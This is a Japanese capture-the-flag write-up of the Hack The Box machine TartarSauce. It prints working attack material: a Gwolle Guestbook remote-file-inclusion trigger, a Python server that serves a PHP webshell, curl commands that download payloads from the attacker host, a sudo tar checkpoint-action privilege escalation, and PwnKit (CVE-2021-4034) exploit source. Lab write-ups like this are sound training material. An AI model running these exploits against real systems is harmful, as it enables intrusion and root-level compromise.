Hack The BoxのWriteup(TartarSauce)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: TartarSauce — 全実行コマンド・実行結果レポート
Nmap + robots.txt
/webservices/ 配下開示
Gwolle Guestbook 1.5.3 RFI
exploit-db 38861 + catch-allサーバー
sudo tar GTFOBins
checkpoint-action(onuma)
user.txt ✓
pkexec SUID発見
CVE-2021-4034 (PwnKit)
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.1.185
RESULT
PORT   STATE  SERVICE
80/tcp open   http

(21/22/53/443/8080等は全てclosed — Webのみが攻撃対象)

HTTPヘッダー・トップページ確認

BASH
curl -sI --max-time 10 http://10.129.1.185
curl -s http://10.129.1.185/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 21 Feb 2018 20:31:20 GMT

<h1>Welcome to TartarSauce</h1>
(ASCIIアートの装飾のみ、実質的な導線なし)

robots.txt — 隠しディレクトリの手がかり

BASH
curl -s --max-time 10 http://10.129.1.185/robots.txt
RESULT
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/
🚨
典型的な「隠したつもりが逆に手がかりになる」robots.txt。 複数のCMS/ツール(monstra、phpmyadmin等)が同居しているが、gobusterで /webservices/wp(WordPress、robots.txtには載っていない)も別途発見。

WordPress + Gwolle Guestbook のバージョン偽装を見抜く

BASH
wpscan --url http://10.129.1.185/webservices/wp/ --enumerate p 2>&1 | grep -A5 gwolle
# WPScanは README の Stable tag: 2.3.10 表記を鵜呑みにして「2.3.10」と報告するが、
# 実際にインストールされているのは 1.5.3 (readme.txt の改ざんでWPScanを欺いている)
curl -s http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt | head -5
RESULT
=== Gwolle Guestbook ===
Stable tag: 2.3.10   ← README上の表記(改ざん・欺瞞)
...
(実際の脆弱コード・ディレクトリ構造から実質 1.5.3 相当と判明)
⚠️
重要な罠: readme.txt の版数表記は管理者によって意図的に 改ざんされており、自動脆弱性スキャナ(WPScan)に「パッチ済み」と誤認させる 設計になっている。実際には Gwolle Guestbook 1.5.3ajaxresponse.php(exploit-db 38861)にRFI脆弱性が残っている。
PHASE 2

Gwolle Guestbook RFI → catch-all webshellサーバーでRCE確立

脆弱パラメータの原理

NOTE
ajaxresponse.php の abspath パラメータは、値をそのままリモートURLとして
include() する Remote File Inclusion (RFI) 脆弱性を持つ (exploit-db 38861)。

  GET /webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php
      ?abspath=<攻撃者URL>&c=<実行したいコマンド>

内部の正確な相対パス連結ロジック(wp-load.php等)はコードを読まないと
特定できないため、代わりに攻撃者側で「どのパスへのリクエストにも
同一のPHP webshellペイロードを返す」catch-allサーバーを立てることで、
正確なパスを推測する必要を完全に回避する。

catch-all webshellサーバーの起動

PYTHON
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        body = b'<?php system($_GET["c"]); ?>'
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
http.server.HTTPServer(("0.0.0.0", 8093), H).serve_forever()
ℹ️
どのパスへのGETリクエストにも同一の <?php system($_GET["c"]); ?> を返す。ターゲットのRFIがどんな相対パスでincludeしても、必ずこのwebshell コードが読み込まれる。

RFIトリガー送信 → RCE確認

BASH
curl -s -G \
  --data-urlencode "abspath=http://<kali_ip>:8093/" \
  --data-urlencode "c=id" \
  "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE確立成功。 このHTTPリクエスト1回ごとに1コマンド実行という ステートレスな仕組みのため、以降の全ての操作(ファイル作成、権限昇格トリガー等) はこの abspath+c パラメータの組み合わせで行う。
PHASE 3

sudo tar checkpoint GTFOBins → onuma権限 → user.txt

sudo -l で発見した設定ミス

BASH
# RCE経由で
sudo -l
RESULT
Matching Defaults entries for www-data on TartarSauce:
    env_reset, mail_badpass, secure_path=...

User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar
🚨
www-data は onuma 権限で /bin/tar をパスワードなしで実行できる。 tar には GTFOBins に載っている --checkpoint/--checkpoint-action オプションの 悪用で任意コマンド実行に昇格できる古典的な手法が使える。

checkpoint-action GTFOBinsトリガー(実行コマンド全文)

BASH (RCEで実行するワンライナー全文)
cd /dev/shm && rm -rf ts_tar2 && mkdir ts_tar2 && cd ts_tar2 && \
echo > '--checkpoint=1' && \
echo > '--checkpoint-action=exec=sh shell.sh' && \
printf '#!/bin/sh\ncat /home/onuma/user.txt > /tmp/.ts_onuma_out 2>&1\n' > shell.sh && \
chmod +x shell.sh && \
chmod 777 . && \
sudo -u onuma /bin/tar cf archive.tar * >/dev/null 2>&1
⚠️
ライブ検証で発見した落とし穴: mkdir で作成した ts_tar2 ディレクトリは www-data所有・mode 755 で 作られるため、sudo -u onuma で実行される tar プロセスは このディレクトリへ archive.tar を書き込めず "Cannot open: Permission denied"(exit 2)で失敗し、 checkpoint-action が一度も発火しない。作業ディレクトリを chmod 777 しておくことでonumaにも書込み権限を与え、 この失敗を回避する。
NOTE — 動作原理
tar は展開/圧縮N個ごとに任意アクションを実行する --checkpoint 機能を持つ。
ファイル名が偶然にも "--checkpoint=1" や "--checkpoint-action=..." に
一致するファイルを作業ディレクトリに置き、それらを * グロブで
tar の「アーカイブ対象ファイル」として渡すと、tar 自身がこれらの
ファイル名をコマンドラインオプションとして誤認識・再解釈してしまう。
これにより sudo 経由で /bin/tar を onuma 権限で起動しただけのつもりが、
実際には任意の shell.sh を onuma 権限で実行させることができる。

結果ファイルの読み出し → user.txt取得

BASH
curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \
  --data-urlencode "c=cat /tmp/.ts_onuma_out 2>/dev/null" \
  "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php"
RESULT
658fc80539e14d50a47d277f672fed9a
user.txt — onuma
658fc80539e14d50a47d277f672fed9a
PHASE 4

権限昇格の下調べ — SUIDバイナリ探索とPwnKitの発見

当初想定していたbackupererレース条件の検証と断念

NOTE
本機には onuma 権限で /var/www/html を /var/tmp/.<random> へ tar 化し
30秒後に root 権限で展開・整合性チェックする systemd timer
"backuperer.service" が5分間隔で存在する。整合性チェック失敗時に
展開済みファイルが削除されずに残る欠陥を突き、一時ファイルを
悪意tar.gzで上書きするレース条件が定石として知られている。

しかし実機で詳細検証したところ:
  - 一時ファイルは onuma 所有・mode 644 で作成されるため、www-data
    からは直接上書き不可(sticky bitの/var/tmpでもrename/削除も不可)。
  - /var/tmp/check を狙った symlink 差し替え(mkdir失敗→tar -C 経由で
    symlink先へ展開させる手法)も、1秒間隔での高頻度symlink再設置を
    複数サイクルにわたって試したが、展開先に一切ファイルが現れず、
    根本原因を確定できなかった。

このため本機では backuperer レースは採用せず、より確実な別の権限昇格
経路を探すことにした。

SUIDバイナリ探索 — pkexecを発見

BASH
find / -perm -4000 -type f 2>/dev/null
RESULT (抜粋)
/bin/su
/bin/mount
/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
...
BASH
uname -a
pkexec --version
dpkg -l | grep policykit
RESULT
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP i686 GNU/Linux
pkexec version 0.105
ii  policykit-1  0.105-14.1  i386  framework for managing administrative policies
🚨
2018年ビルドの古いシステムに pkexec (policykit-1 0.105) が SUIDで存在。 このバージョンは CVE-2021-4034「PwnKit」 (2022年1月公開、pkexecのargv[0]欠落処理の不備を突きGCONV_PATH経由で 任意の共有ライブラリをroot権限でロードさせる脆弱性)に該当する。 2009年頃から2022年1月のパッチまでのほぼ全Linuxディストリビューションが 影響を受けた著名な脆弱性。
PHASE 5

CVE-2021-4034 (PwnKit) エクスプロイト → root.txt

エクスプロイト構成(2ファイル)

NOTE
PwnKitは2つのプログラムで構成される:
  1. evil.so   — gconvモジュールを装った悪意共有ライブラリ。ロードされた
                 瞬間に gconv_init() が root権限で実行される。
  2. exploit   — pkexec を「空のargv(argv[0]すら存在しない)」で execve()
                 するランチャー。この不正な呼び出し方がpkexec内部の
                 環境変数処理を混乱させ、GCONV_PATH環境変数を悪用して
                 evil.so を root権限でロードさせる。
PYTHON (evil-so.c — 生syscallのみ使用)
#include <sys/syscall.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
    syscall(SYS_setuid, 0);
    syscall(SYS_setgid, 0);
    syscall(SYS_setgroups, 0, 0);
    char *argv[] = {"/bin/sh", "-c",
        "cat /root/root.txt > /tmp/.ts_root_pwn; chmod 644 /tmp/.ts_root_pwn", 0};
    char *envp[] = {0};
    syscall(SYS_execve, "/bin/sh", argv, envp);
}
PYTHON (exploit.c — 公開PoC ryaagard/CVE-2021-4034 準拠)
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main() {
    char *envp[] = { DIR, "PATH=GCONV_PATH=.", "SHELL=x", "CHARSET=x", NULL };
    char *argv[] = { NULL };   // ← argv[0]すら無い不正な呼び出し
    system("mkdir -p GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir -p " DIR);
    system("echo 'module\tINTERNAL\t\t\tx//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);
    execve(BIN, argv, envp);
}

重要な落とし穴 — glibcバージョン不一致

BASH (最初の失敗)
gcc -m32 -o exploit exploit.c
gcc -m32 -shared -o evil.so -fPIC evil-so.c
# → ターゲットへ転送して実行
./exploit
RESULT
./exploit: /lib/i386-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exploit)
⚠️
ビルド環境(Kali、glibc 2.34以降)とターゲット(2018年当時のUbuntu、 古いglibc)のバージョン差により、通常リンクした32bitバイナリはそのままでは 起動不能だった。攻撃側マシンの最新glibcでリンクされたバイナリの バージョン付きシンボル(setuid@GLIBC_2.34等)が、 ターゲットの古いglibcには存在しないため。
BASH (修正 — 静的リンク + 生syscall)
# exploit本体は完全に自己完結する静的バイナリとしてビルド
gcc -m32 -static -o exploit exploit.c

# evil.so は -nostdlib + syscall() 直呼び出しでバージョン付きシンボル要求を排除
gcc -m32 -shared -o evil.so -fPIC -nostdlib evil-so.c
exploit ランチャーは -static でターゲットのglibcに 一切依存しない完全自己完結バイナリにし、evil.so-nostdlibsyscall()直呼び出し(setuid/setgid/execveの ラッパー関数を経由しない生システムコール)によって、バージョン付きシンボルへの 依存を完全に排除した。syscall自体はpkexecプロセスに既にロード 済みのターゲット自身のlibcから解決されるため、バージョン不一致の影響を受けない。

エクスプロイト転送・実行

BASH
# catch-allサーバーへ /pwnexploit, /evilso エンドポイントを追加後、
# RCE経由でダウンロード・実行
curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \
  --data-urlencode "c=mkdir -p /dev/shm/pwnkit && cd /dev/shm/pwnkit && \
curl -s -o exploit http://<kali_ip>:8093/pwnexploit && \
curl -s -o evil.so http://<kali_ip>:8093/evilso && chmod +x exploit" \
  "http://10.129.1.185/.../ajaxresponse.php"

curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \
  --data-urlencode "c=cd /dev/shm/pwnkit && ./exploit" \
  "http://10.129.1.185/.../ajaxresponse.php"

curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \
  --data-urlencode "c=cat /tmp/.ts_root_pwn" \
  "http://10.129.1.185/.../ajaxresponse.php"
RESULT
-rw-r--r-- 1 root root 33 Sep  5 06:50 /tmp/.ts_root_pwn
a37e44705e89c90bf877a943f3f28078
PwnKit成功! 出力ファイルの所有者が root:root に なっている点が、root権限でのコード実行が本当に成立したことの動かぬ証拠。
root.txt — root@TartarSauce
a37e44705e89c90bf877a943f3f28078
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — onuma
658fc80539e14d50a47d277f672fed9a
root.txt — root
a37e44705e89c90bf877a943f3f28078

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
バージョン表記の改ざん Gwolle Guestbook README 脆弱性スキャナの欺瞞 High readme.txtのStable tagを実際より新しい値に書き換えWPScanを欺く
Gwolle Guestbook 1.5.3 RFI ajaxresponse.php (exploit-db 38861) リモートコード実行 (www-data) Critical abspathパラメータでリモートPHPをinclude、catch-allサーバーでパス推測を回避
sudo tar (GTFOBins) onumaユーザーのNOPASSWD tar 権限昇格 (www-data → onuma) High –checkpoint/–checkpoint-actionオプションを偽装ファイル名で誤認識させ任意コマンド実行
CVE-2021-4034 (PwnKit) pkexec (policykit-1 0.105) 権限昇格 (onuma/www-data → root) Critical argv[0]欠落のpkexec呼び出しでGCONV_PATH経由の悪意gconvモジュールをroot権限でロード

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + robots.txt + gobuster80/tcpのみ、/webservices/配下の複数CMS発見
2RFI RCEcatch-all webshellサーバー + abspath注入www-data権限のRCE確立
3権限昇格①sudo tar checkpoint GTFOBinsuser.txt(onuma権限)
4下調べSUIDバイナリ探索 + カーネル/OS年代確認pkexec 0.105 SUID発見 → CVE-2021-4034該当と判断
5権限昇格②PwnKit (静的リンク+生syscallで旧glibc対応)root.txt

学んだ教訓 & 防御策

問題点防御策
プラグインのREADMEバージョン表記が改ざんされ脆弱性スキャナを欺く バージョン判定をREADME表記だけに頼らず、実際のコードのハッシュ/構造で検証する。定期的な手動コードレビューを実施する。
Gwolle Guestbook 1.5.3 の未認証RFI脆弱性 サードパーティプラグインは既知CVEを常に確認し速やかにアップデートする。allow_url_includeをPHP側で無効化する。
sudoでの/bin/tar無制限実行許可 (GTFOBins該当コマンド) sudoersでは特定のサブコマンド・引数パターンまで厳密に制限する(ワイルドカード的な許可を避ける)。GTFOBinsのようなデータベースで許可コマンドを事前チェックする。
2018年当時のpolicykit-1 0.105 (CVE-2021-4034)が未パッチのまま放置 OS/パッケージの定期アップデートを徹底する。特にSUIDバイナリを持つパッケージ(policykit-1等)は重大な権限昇格CVEの温床になりやすいため優先度高くパッチ管理する。
HackTheBox: TartarSauce | 完全攻略レポート